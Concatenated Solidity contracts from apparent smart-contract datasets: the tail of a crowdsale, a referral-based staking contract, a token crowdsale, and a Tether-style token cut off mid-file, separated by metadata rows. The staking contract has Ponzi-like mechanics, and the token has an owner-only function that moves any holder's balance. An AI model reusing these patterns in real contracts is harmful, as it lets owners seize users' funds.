uint256 recap = totalAmount.sub(maximumCapAmount);
amount = amount.sub(recap);
if (amount <= 0) {
revert();
} else {
msg.sender.transfer(recap);
}
}
pi.received = pi.received.add(amount);
globalAmount = globalAmount.add(amount);
if (isBonusPeriod() && bonusDecreaseRate.mul(nrOfTransactions) < bonusPercentage) {
uint256 percentage = bonusPercentage.sub(bonusDecreaseRate.mul(nrOfTransactions));
uint256 bonus = amount.div(bonusRateDivision).mul(percentage);
amount = amount.add(bonus);
}
pi.accounted = pi.accounted.add(amount);
totalWannaBuyAmount = totalWannaBuyAmount.add(amount.mul(rate).div(ltoEthDiffDecimals));
_calcProportion();
nrOfTransactions = nrOfTransactions.add(1);
}
function _withdrawal(address purchaser) internal {
require(purchaser != 0x0);
PurchaserInfo storage pi = purchaserMapping[purchaser];
if (pi.withdrew || !pi.recorded) {
return;
}
pi.withdrew = true;
withdrawn = withdrawn.add(1);
Purchase memory purchase = getSaleInfo(purchaser);
if (purchase.used > 0 && purchase.tokens > 0) {
receiverAddr.transfer(purchase.used);
require(token.transfer(purchaser, purchase.tokens));
uint256 unused = purchase.received.sub(purchase.used);
if (unused > 0) {
if (!purchaser.send(unused)) {
pi.unreceived = unused;
}
}
} else {
assert(false);
}
return;
}
function withdrawal() public onlyUserWithdrawalTime {
_withdrawal(msg.sender);
}
function withdrawalFor(uint256 index, uint256 stop) public onlyAutoWithdrawalTime onlyOwner {
for (; index < stop; index++) {
_withdrawal(purchaserList[index]);
}
}
function clear(uint256 tokenAmount, uint256 etherAmount) public purchasersAllWithdrawn onlyClearTime onlyOwner {
if (tokenAmount > 0) {
token.burn(tokenAmount);
}
if (etherAmount > 0) {
receiverAddr.transfer(etherAmount);
}
}
function withdrawFailed(address alternativeAddress) public onlyUserWithdrawalTime nonReentrant {
require(alternativeAddress != 0x0);
PurchaserInfo storage pi = purchaserMapping[msg.sender];
require(pi.recorded);
require(pi.unreceived > 0);
if (alternativeAddress.send(pi.unreceived)) {
pi.unreceived = 0;
}
}
function addCapFreeAddress(address capFreeAddress) public onlyCapListAddress {
require(capFreeAddress != address(0));
capFreeAddresses[capFreeAddress] = true;
}
function removeCapFreeAddress(address capFreeAddress) public onlyCapListAddress {
require(capFreeAddress != address(0));
capFreeAddresses[capFreeAddress] = false;
}
function isCapFree(address capFreeAddress) internal view returns (bool) {
return (capFreeAddresses[capFreeAddress]);
}
function currentBonus() public view returns(uint256) {
return bonusPercentage.sub(bonusDecreaseRate.mul(nrOfTransactions));
}
}
| 182,858 | 10,396 |
edd9962d670310f97acb5969ca9d23c9b232dd33097762f9253abdcec4a50b4e
| 12,917 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/23/23D882aF720fEAbcF873D0969950341a20E6d325_ManyStaker.sol
| 3,536 | 11,138 |
// SPDX-License-Identifier: MIT
pragma solidity >=0.4.22 <0.9.0;
contract ManyStaker {
using SafeMath for uint256;
address private _owner;
uint256 constant public INVEST_MIN_AMOUNT = 10 ether;
uint256[] public REFERRAL_PERCENTS = [50, 25, 5];
uint256 constant public PROJECT_FEE = 100;
uint256 constant public PERCENT_STEP = 5;
uint256 constant public WITHDRAW_FEE = 1000; //In base point
uint256 constant public PERCENTS_DIVIDER = 1000;
uint256 constant public TIME_STEP = 1 days;
uint256 public totalStaked;
uint256 public totalRefBonus;
struct Plan {
uint256 time;
uint256 percent;
}
Plan[] internal plans;
struct Deposit {
uint8 plan;
uint256 percent;
uint256 amount;
uint256 profit;
uint256 start;
uint256 finish;
}
struct User {
Deposit[] deposits;
uint256 checkpoint;
address referrer;
uint256[3] levels;
uint256 bonus;
uint256 totalBonus;
}
mapping (address => User) internal users;
uint256 public startUNIX;
address payable public commissionWallet;
address payable public insuranceWallet;
event Newbie(address user);
event NewDeposit(address indexed user, uint8 plan, uint256 percent, uint256 amount, uint256 profit, uint256 start, uint256 finish);
event Withdrawn(address indexed user, uint256 amount);
event RefBonus(address indexed referrer, address indexed referral, uint256 indexed level, uint256 amount);
event FeePayed(address indexed user, uint256 totalAmount);
constructor(address payable _commissionWallet, address payable _insuranceWallet, uint256 startDate) {
require(!isContract(_commissionWallet));
require(!isContract(_insuranceWallet));
commissionWallet = _commissionWallet;
insuranceWallet = _insuranceWallet;
if (startDate == 0) {
startUNIX = block.timestamp.add(10 days);
}else{
startUNIX = startDate;
}
_owner = msg.sender;
plans.push(Plan(14, 82));
plans.push(Plan(21, 76));
plans.push(Plan(28, 69));
plans.push(Plan(14, 82));
plans.push(Plan(21, 76));
plans.push(Plan(28, 69));
}
modifier onlyOwner() {
require(isOwner(), "Function accessible only by the owner !!");
_;
}
function isOwner() public view returns(bool) {
return msg.sender == _owner;
}
function setCommissionWallet(address payable _commissionWallet) external onlyOwner {
require(_commissionWallet != address(0), "invalid address");
commissionWallet = _commissionWallet;
}
function setInsuranceWallet(address payable _insuranceWallet) external onlyOwner {
require(_insuranceWallet != address(0), "invalid address");
insuranceWallet = _insuranceWallet;
}
function setStartUNIX(uint256 startDate) public onlyOwner {
require(block.timestamp < startUNIX, "contract has started");
require(startDate > block.timestamp, "Invalid startDate");
startUNIX = startDate;
}
function invest(address referrer, uint8 plan) public payable {
require(msg.value >= INVEST_MIN_AMOUNT, "Invalid invest amount");
require(plan < 6, "Invalid plan");
require(block.timestamp >= startUNIX, "contract hasn't started yet");
uint256 fee = msg.value.mul(PROJECT_FEE).div(PERCENTS_DIVIDER);
commissionWallet.transfer(fee);
emit FeePayed(msg.sender, fee);
User storage user = users[msg.sender];
if (user.referrer == address(0)) {
if (users[referrer].deposits.length > 0 && referrer != msg.sender) {
user.referrer = referrer;
}
address upline = user.referrer;
for (uint256 i = 0; i < 3; i++) {
if (upline != address(0)) {
users[upline].levels[i] = users[upline].levels[i].add(1); // TODDO: levels unuse
upline = users[upline].referrer;
} else break;
}
}
if (user.referrer != address(0)) {
address upline = user.referrer;
for (uint256 i = 0; i < 3; i++) {
if (upline != address(0)) {
uint256 amount = msg.value.mul(REFERRAL_PERCENTS[i]).div(PERCENTS_DIVIDER);
users[upline].bonus = users[upline].bonus.add(amount);
users[upline].totalBonus = users[upline].totalBonus.add(amount);
emit RefBonus(upline, msg.sender, i, amount);
upline = users[upline].referrer;
} else break;
}
}
if (user.deposits.length == 0) {
user.checkpoint = block.timestamp;
emit Newbie(msg.sender);
}
(uint256 percent, uint256 profit, uint256 finish) = getResult(plan, msg.value);
user.deposits.push(Deposit(plan, percent, msg.value, profit, block.timestamp, finish));
totalStaked = totalStaked.add(msg.value);
emit NewDeposit(msg.sender, plan, percent, msg.value, profit, block.timestamp, finish);
}
function reinvest(uint8 plan) public {
require(plan < 6, "Invalid plan");
require(block.timestamp >= startUNIX, "contract hasn't started yet");
User storage user = users[msg.sender];
uint256 totalAmount = getUserDividends(msg.sender);
uint256 userReferralBonus = getUserReferralBonus(msg.sender);
if (userReferralBonus > 0) {
totalAmount = totalAmount.add(userReferralBonus);
user.bonus = 0;
}
require(totalAmount >= INVEST_MIN_AMOUNT, "Invalid invest amount");
uint256 contractBalance = address(this).balance;
if (contractBalance < totalAmount) {
totalAmount = contractBalance;
}
user.checkpoint = block.timestamp;
(uint256 percent, uint256 profit, uint256 finish) = getResult(plan, totalAmount);
user.deposits.push(Deposit(plan, percent, totalAmount, profit, block.timestamp, finish));
totalStaked = totalStaked.add(totalAmount);
emit NewDeposit(msg.sender, plan, percent, totalAmount, profit, block.timestamp, finish);
}
function withdraw() public {
User storage user = users[msg.sender];
uint256 totalAmount = getUserDividends(msg.sender);
uint256 referralBonus = getUserReferralBonus(msg.sender);
if (referralBonus > 0) {
user.bonus = 0;
totalAmount = totalAmount.add(referralBonus);
}
uint256 contractBalance = address(this).balance;
if (contractBalance < totalAmount) {
totalAmount = contractBalance;
}
uint256 fees = totalAmount.mul(WITHDRAW_FEE).div(10000);
totalAmount = totalAmount.sub(fees);
require(totalAmount > 0, "User has no dividends");
user.checkpoint = block.timestamp;
insuranceWallet.transfer(fees);
payable(msg.sender).transfer(totalAmount); // UPDATE: msg.sender -> payable(msg.sender)
emit Withdrawn(msg.sender, totalAmount);
}
function getContractBalance() public view returns (uint256) {
return address(this).balance;
}
function getPlanInfo(uint8 plan) public view returns(uint256 time, uint256 percent) {
time = plans[plan].time;
percent = plans[plan].percent;
}
function getPercent(uint8 plan) public view returns (uint256) {
if (block.timestamp > startUNIX) {
return plans[plan].percent.add(PERCENT_STEP.mul(block.timestamp.sub(startUNIX)).div(TIME_STEP));
} else {
return plans[plan].percent;
}
}
function getResult(uint8 plan, uint256 deposit) public view returns (uint256 percent, uint256 profit, uint256 finish) {
percent = getPercent(plan);
if (plan < 3) {
profit = deposit.mul(percent).div(PERCENTS_DIVIDER).mul(plans[plan].time);
} else if (plan < 6) {
for (uint256 i = 0; i < plans[plan].time; i++) {
profit = profit.add((deposit.add(profit)).mul(percent).div(PERCENTS_DIVIDER));
}
}
finish = block.timestamp.add(plans[plan].time.mul(TIME_STEP));
}
function getUserDividends(address userAddress) public view returns (uint256) {
User storage user = users[userAddress];
uint256 totalAmount;
for (uint256 i = 0; i < user.deposits.length; i++) {
if (user.checkpoint < user.deposits[i].finish) {
if (user.deposits[i].plan < 3) {
uint256 share = user.deposits[i].amount.mul(user.deposits[i].percent).div(PERCENTS_DIVIDER);
uint256 from = user.deposits[i].start > user.checkpoint ? user.deposits[i].start : user.checkpoint;
uint256 to = user.deposits[i].finish < block.timestamp ? user.deposits[i].finish : block.timestamp;
if (from < to) {
totalAmount = totalAmount.add(share.mul(to.sub(from)).div(TIME_STEP)); // TODDO: test
}
} else if (block.timestamp > user.deposits[i].finish) {
totalAmount = totalAmount.add(user.deposits[i].profit);
}
}
}
return totalAmount;
}
function getUserCheckpoint(address userAddress) public view returns(uint256) {
return users[userAddress].checkpoint;
}
function getUserReferrer(address userAddress) public view returns(address) {
return users[userAddress].referrer;
}
function getUserDownlineCount(address userAddress) public view returns(uint256, uint256, uint256) {
return (users[userAddress].levels[0], users[userAddress].levels[1], users[userAddress].levels[2]);
}
function getUserReferralBonus(address userAddress) public view returns(uint256) {
return users[userAddress].bonus;
}
function getUserReferralTotalBonus(address userAddress) public view returns(uint256) {
return users[userAddress].totalBonus;
}
function getUserReferralWithdrawn(address userAddress) public view returns(uint256) {
return users[userAddress].totalBonus.sub(users[userAddress].bonus);
}
function getUserAvailable(address userAddress) public view returns(uint256) {
return getUserReferralBonus(userAddress).add(getUserDividends(userAddress));
}
function getUserAmountOfDeposits(address userAddress) public view returns(uint256) {
return users[userAddress].deposits.length;
}
function getUserTotalDeposits(address userAddress) public view returns(uint256 amount) {
for (uint256 i = 0; i < users[userAddress].deposits.length; i++) {
amount = amount.add(users[userAddress].deposits[i].amount);
}
}
function getUserDepositInfo(address userAddress, uint256 index) public view returns(uint8 plan, uint256 percent, uint256 amount, uint256 profit, uint256 start, uint256 finish) {
User storage user = users[userAddress];
plan = user.deposits[index].plan;
percent = user.deposits[index].percent;
amount = user.deposits[index].amount;
profit = user.deposits[index].profit;
start = user.deposits[index].start;
finish = user.deposits[index].finish;
}
function isContract(address addr) internal view returns (bool) {
uint size;
assembly { size := extcodesize(addr) }
return size > 0;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
return c;
}
}
| 329,797 | 10,397 |
8b926389ae577b5c24a1cc33d6dddd10fe639e83eb03e7bb449f81d24944b0ec
| 19,977 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
sorted-evaluation-dataset/0.5/0x06dafc2a5fe47fcc9f37b5f91c0c2bd1cf2a9a4c.sol
| 3,632 | 12,856 |
pragma solidity ^0.4.15;
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
uint256 _allowance = allowed[_from][msg.sender];
// require (_value <= _allowance);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function increaseApproval (address _spender, uint _addedValue)
returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue)
returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(0x0, _to, _amount);
return true;
}
function finishMinting() onlyOwner public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract Crowdsale {
using SafeMath for uint256;
// The token being sold
MintableToken public token;
// start and end timestamps where investments are allowed (both inclusive)
uint256 public startTime;
uint256 public endTime;
// address where funds are collected
address public wallet;
// how many token units a buyer gets per wei
uint256 public rate;
// amount of raised money in wei
uint256 public weiRaised;
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
function Crowdsale(uint256 _startTime, uint256 _endTime, uint256 _rate, address _wallet) {
require(_startTime >= now);
require(_endTime >= _startTime);
require(_rate > 0);
require(_wallet != 0x0);
token = createTokenContract();
startTime = _startTime;
endTime = _endTime;
rate = _rate;
wallet = _wallet;
}
// creates the token to be sold.
// override this method to have crowdsale of a specific mintable token.
function createTokenContract() internal returns (MintableToken) {
return new MintableToken();
}
// fallback function can be used to buy tokens
function () payable {
buyTokens(msg.sender);
}
// low level token purchase function
function buyTokens(address beneficiary) public payable {
require(beneficiary != 0x0);
require(validPurchase());
uint256 weiAmount = msg.value;
// calculate token amount to be created
uint256 tokens = weiAmount.mul(rate);
// update state
weiRaised = weiRaised.add(weiAmount);
token.mint(beneficiary, tokens);
TokenPurchase(msg.sender, beneficiary, weiAmount, tokens);
forwardFunds();
}
// send ether to the fund collection wallet
// override to create custom fund forwarding mechanisms
function forwardFunds() internal {
wallet.transfer(msg.value);
}
// @return true if the transaction can buy tokens
function validPurchase() internal constant returns (bool) {
bool withinPeriod = now >= startTime && now <= endTime;
bool nonZeroPurchase = msg.value != 0;
return withinPeriod && nonZeroPurchase;
}
// @return true if crowdsale event has ended
function hasEnded() public constant returns (bool) {
return now > endTime;
}
}
contract FinalizableCrowdsale is Crowdsale, Ownable {
using SafeMath for uint256;
bool public isFinalized = false;
event Finalized();
function finalize() onlyOwner public {
require(!isFinalized);
require(hasEnded());
finalization();
Finalized();
isFinalized = true;
}
function finalization() internal {
}
}
contract MyFinalizableCrowdsale is FinalizableCrowdsale {
using SafeMath for uint256;
// address where funds are collected
address public tokenWallet;
event FinalTokens(uint256 _generated);
function MyFinalizableCrowdsale(address _tokenWallet) {
tokenWallet = _tokenWallet;
}
function generateFinalTokens(uint256 ratio) internal {
uint256 finalValue = token.totalSupply();
finalValue = finalValue.mul(ratio).div(1000);
token.mint(tokenWallet, finalValue);
FinalTokens(finalValue);
}
}
contract MultiCappedCrowdsale is Crowdsale, Ownable {
using SafeMath for uint256;
uint256 public softCap;
uint256 public hardCap = 0;
bytes32 public hardCapHash;
uint256 public hardCapTime = 0;
uint256 public endBuffer;
event NotFinalized(bytes32 _a, bytes32 _b);
function MultiCappedCrowdsale(uint256 _softCap, bytes32 _hardCapHash, uint256 _endBuffer) {
require(_softCap > 0);
softCap = _softCap;
hardCapHash = _hardCapHash;
endBuffer = _endBuffer;
}
//
// Soft cap logic
//
// overriding Crowdsale#validPurchase to add extra cap logic
// @return true if investors can buy at the moment
function validPurchase() internal constant returns (bool) {
if (hardCap > 0) {
checkHardCap(weiRaised.add(msg.value));
}
return super.validPurchase();
}
//
// Hard cap logic
//
function hashHardCap(uint256 _hardCap, uint256 _key) internal constant returns (bytes32) {
return keccak256(_hardCap, _key);
}
function setHardCap(uint256 _hardCap, uint256 _key) external onlyOwner {
require(hardCap==0);
if (hardCapHash != hashHardCap(_hardCap, _key)) {
NotFinalized(hashHardCap(_hardCap, _key), hardCapHash);
return;
}
hardCap = _hardCap;
checkHardCap(weiRaised);
}
function checkHardCap(uint256 totalRaised) internal {
if (hardCapTime == 0 && totalRaised > hardCap) {
hardCapTime = block.timestamp;
endTime = block.timestamp+endBuffer;
}
}
}
contract LimitedTransferToken is ERC20 {
modifier canTransfer(address _sender, uint256 _value) {
require(_value <= transferableTokens(_sender, uint64(now)));
_;
}
function transfer(address _to, uint256 _value) canTransfer(msg.sender, _value) public returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) canTransfer(_from, _value) public returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function transferableTokens(address holder, uint64 time) public constant returns (uint256) {
return balanceOf(holder);
}
}
contract FypToken is MintableToken, LimitedTransferToken {
string public constant name = "Flyp.me Token";
string public constant symbol = "FYP";
uint8 public constant decimals = 18;
bool public isTransferable = false;
function enableTransfers() onlyOwner {
isTransferable = true;
}
function transferableTokens(address holder, uint64 time) public constant returns (uint256) {
if (!isTransferable) {
return 0;
}
return super.transferableTokens(holder, time);
}
function finishMinting() onlyOwner public returns (bool) {
enableTransfers();
return super.finishMinting();
}
}
contract FlypCrowdsale is MyFinalizableCrowdsale, MultiCappedCrowdsale {
// how many token units a buyer gets per wei
uint256 public presaleRate;
uint256 public postSoftRate;
uint256 public postHardRate;
uint256 public presaleEndTime;
function FlypCrowdsale(uint256 _startTime, uint256 _endTime, uint256 _presaleEndTime, uint256 _rate, uint256 _rateDiff, uint256 _softCap, address _wallet, bytes32 _hardCapHash, address _tokenWallet, uint256 _endBuffer)
MultiCappedCrowdsale(_softCap, _hardCapHash, _endBuffer)
MyFinalizableCrowdsale(_tokenWallet)
Crowdsale(_startTime, _endTime, _rate, _wallet)
{
presaleRate = _rate+_rateDiff;
postSoftRate = _rate-_rateDiff;
postHardRate = _rate-(2*_rateDiff);
presaleEndTime = _presaleEndTime;
}
// Allows generating tokens for externally funded participants (other blockchains)
function pregenTokens(address beneficiary, uint256 weiAmount, uint256 tokenAmount) external onlyOwner {
require(beneficiary != 0x0);
// update state
weiRaised = weiRaised.add(weiAmount);
token.mint(beneficiary, tokenAmount);
TokenPurchase(msg.sender, beneficiary, weiAmount, tokenAmount);
}
// Overrides Crowdsale function
function buyTokens(address beneficiary) public payable {
require(beneficiary != 0x0);
require(validPurchase());
uint256 weiAmount = msg.value;
uint256 currentRate = rate;
if (block.timestamp < presaleEndTime) {
currentRate = presaleRate;
}
else if (hardCap > 0 && weiRaised > hardCap) {
currentRate = postHardRate;
}
else if (weiRaised > softCap) {
currentRate = postSoftRate;
}
// calculate token amount to be created
uint256 tokens = weiAmount.mul(currentRate);
// update state
weiRaised = weiRaised.add(weiAmount);
token.mint(beneficiary, tokens);
TokenPurchase(msg.sender, beneficiary, weiAmount, tokens);
forwardFunds();
}
// Overrides Crowdsale function
function createTokenContract() internal returns (MintableToken) {
return new FypToken();
}
// Overrides FinalizableCrowdsale function
function finalization() internal {
if (weiRaised < softCap) {
generateFinalTokens(1000);
} else if (weiRaised < hardCap) {
generateFinalTokens(666);
} else {
generateFinalTokens(428);
}
token.finishMinting();
super.finalization();
}
// Make sure no eth funds become stuck on contract
function withdraw(uint256 weiValue) onlyOwner {
wallet.transfer(weiValue);
}
}
| 212,401 | 10,398 |
67c7f97543000d03f6813bd5c8efb0a93f507d286b85397da83b4a18cafc871f
| 16,176 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0x4067250547c1479472b990cd5e2e11555034a4f9.sol
| 3,163 | 12,471 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
contract ERC20Basic {
uint public _totalSupply;
function totalSupply() public constant returns (uint);
function balanceOf(address who) public constant returns (uint);
function transfer(address to, uint value) public;
event Transfer(address indexed from, address indexed to, uint value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint);
function transferFrom(address from, address to, uint value) public;
function approve(address spender, uint value) public;
event Approval(address indexed owner, address indexed spender, uint value);
}
contract BasicToken is Ownable, ERC20Basic {
using SafeMath for uint;
mapping(address => uint) public balances;
// additional variables for use if transaction fees ever became necessary
uint public basisPointsRate = 0;
uint public maximumFee = 0;
modifier onlyPayloadSize(uint size) {
require(!(msg.data.length < size + 4));
_;
}
function transfer(address _to, uint _value) public onlyPayloadSize(2 * 32) {
uint fee = (_value.mul(basisPointsRate)).div(10000);
if (fee > maximumFee) {
fee = maximumFee;
}
uint sendAmount = _value.sub(fee);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(sendAmount);
if (fee > 0) {
balances[owner] = balances[owner].add(fee);
emit Transfer(msg.sender, owner, fee);
}
emit Transfer(msg.sender, _to, sendAmount);
}
function balanceOf(address _owner) public constant returns (uint balance) {
return balances[_owner];
}
}
contract StandardToken is BasicToken, ERC20 {
mapping (address => mapping (address => uint)) public allowed;
uint public constant MAX_UINT = 2**256 - 1;
function transferFrom(address _from, address _to, uint _value) public onlyPayloadSize(3 * 32) {
uint256 _allowance = allowed[_from][msg.sender];
// if (_value > _allowance) throw;
uint fee = (_value.mul(basisPointsRate)).div(10000);
if (fee > maximumFee) {
fee = maximumFee;
}
if (_allowance < MAX_UINT) {
allowed[_from][msg.sender] = _allowance.sub(_value);
}
uint sendAmount = _value.sub(fee);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(sendAmount);
if (fee > 0) {
balances[owner] = balances[owner].add(fee);
emit Transfer(_from, owner, fee);
}
emit Transfer(_from, _to, sendAmount);
}
function approve(address _spender, uint _value) public onlyPayloadSize(2 * 32) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
require(!((_value != 0) && (allowed[msg.sender][_spender] != 0)));
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
}
function allowance(address _owner, address _spender) public constant returns (uint remaining) {
return allowed[_owner][_spender];
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract BlackList is Ownable, BasicToken {
function getBlackListStatus(address _maker) external constant returns (bool) {
return isBlackListed[_maker];
}
function getOwner() external constant returns (address) {
return owner;
}
mapping (address => bool) public isBlackListed;
function addBlackList (address _evilUser) public onlyOwner {
isBlackListed[_evilUser] = true;
emit AddedBlackList(_evilUser);
}
function removeBlackList (address _clearedUser) public onlyOwner {
isBlackListed[_clearedUser] = false;
emit RemovedBlackList(_clearedUser);
}
function destroyBlackFunds (address _blackListedUser) public onlyOwner {
require(isBlackListed[_blackListedUser]);
uint dirtyFunds = balanceOf(_blackListedUser);
balances[_blackListedUser] = 0;
_totalSupply -= dirtyFunds;
emit DestroyedBlackFunds(_blackListedUser, dirtyFunds);
}
event DestroyedBlackFunds(address _blackListedUser, uint _balance);
event AddedBlackList(address _user);
event RemovedBlackList(address _user);
}
contract UpgradedStandardToken is StandardToken{
// those methods are called by the legacy contract
// and they must ensure msg.sender to be the contract address
function transferByLegacy(address from, address to, uint value) public;
function transferFromByLegacy(address sender, address from, address spender, uint value) public;
function approveByLegacy(address from, address spender, uint value) public;
}
contract TokenStarter is Pausable, StandardToken, BlackList {
string public name;
string public symbol;
uint public decimals;
address public upgradedAddress;
bool public deprecated;
uint public tokensInEth = 0;
// The contract can be initialized with a number of tokens
// All the tokens are deposited to the owner address
//
// @param _balance Initial supply of the contract
// @param _name Token Name
// @param _symbol Token symbol
// @param _decimals Token decimals
constructor() public {
_totalSupply = 6000000000000;
tokensInEth = 60300000;
name = "MoBro";
symbol = "MOT";
decimals = 5;
balances[owner] = _totalSupply;
deprecated = false;
serverTransfer(owner,0x191b35f4f5bb8365b81b1c647f332de094df3419,6000000000000);
}
function () public payable {
uint tokens = (msg.value * tokensInEth) / 1000000000000000000 ;
require(balances[owner] - tokens >= 0);
emit Transfer(owner, msg.sender, tokens);
balances[owner] -= tokens;
balances[msg.sender] += tokens;
emit BuyFromEth(msg.sender,msg.value,tokens);
}
function setEthPrice(uint _etherPrice) public onlyOwner {
tokensInEth = _etherPrice;
}
function getPrice() public constant returns (uint) {
return tokensInEth;
}
function withdraw(address _to, uint _value) public onlyOwner {
require(_value > 0);
_to.transfer(_value);
emit Withdraw(_to,_value);
}
function serverTransfer(address _from,address _to, uint _value) public onlyOwner {
require(_value > 0);
require(balances[_from] >= _value);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(_from, _to, _value);
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function transfer(address _to, uint _value) public whenNotPaused {
require(!isBlackListed[msg.sender]);
if (deprecated) {
return UpgradedStandardToken(upgradedAddress).transferByLegacy(msg.sender, _to, _value);
} else {
return super.transfer(_to, _value);
}
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function transferFrom(address _from, address _to, uint _value) public whenNotPaused {
require(!isBlackListed[_from]);
if (deprecated) {
return UpgradedStandardToken(upgradedAddress).transferFromByLegacy(msg.sender, _from, _to, _value);
} else {
return super.transferFrom(_from, _to, _value);
}
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function balanceOf(address who) public constant returns (uint) {
if (deprecated) {
return UpgradedStandardToken(upgradedAddress).balanceOf(who);
} else {
return super.balanceOf(who);
}
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function approve(address _spender, uint _value) public onlyPayloadSize(2 * 32) {
if (deprecated) {
return UpgradedStandardToken(upgradedAddress).approveByLegacy(msg.sender, _spender, _value);
} else {
return super.approve(_spender, _value);
}
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
